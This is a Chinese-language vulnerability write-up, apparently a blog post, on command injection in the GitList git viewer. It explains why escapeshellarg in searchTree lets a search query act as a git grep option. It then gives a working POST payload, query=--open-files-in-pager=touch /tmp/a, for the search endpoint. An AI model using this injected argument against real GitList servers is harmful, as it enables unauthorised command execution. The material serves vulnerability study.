Gitlist

gitlist是一款使用PHP开发的图形化git仓库查看工具。
在这里插入图片描述

思路

在用户对仓库中代码进行搜索的时候,gitlist将调用git grep命令:

public function searchTree($query, $branch)
{
    if (empty($query)) {
        return null;
    }

    $query = escapeshellarg($query);

    try {
        $results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
    } catch (\RuntimeException $e) {
        return false;
    }

其中,$query是搜索的关键字,$branch是搜索的分支,知道grep函数的应该就能看懂,从分支里面搜索关键字。

为什么会出现这个漏洞,首先这里经过escapeshellarg处理后就会变成能正常执行的shell参数,如果用户输入的$query = --open-files-in-pager=id;是作为-e的参数去执行,那就是正常的,也就是说这只是一个字符串,一个附带的参数值,就像这样

git grep -i --line-number -e '--open-files-in-pager=id;' master

--open-files-in-pager=id;如果直接作为grep的参数,那就可以执行<id>命令

git grep -i --line-number  --open-files-in-pager=id;  master

对于两个参数的解释看手册git-grep(1) Manual Page

漏洞复现

这里我们改成POST包,访问/example/tree/a/search,其中example是项目名称,需要是目标gitlist上一个已存在的项目;a在正常情况下应该是分支的名称,也就是"grep -i --line-number {$query} $branch"中的$branch,但因为我们的$query被当成了一个参数,所以$branch就应该被当做搜索的关键字,关键字如下。
在这里插入图片描述
抓包添加POST参数

query=--open-files-in-pager=touch /tmp/a

在这里插入图片描述

进入后台查看,执行成功
在这里插入图片描述

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐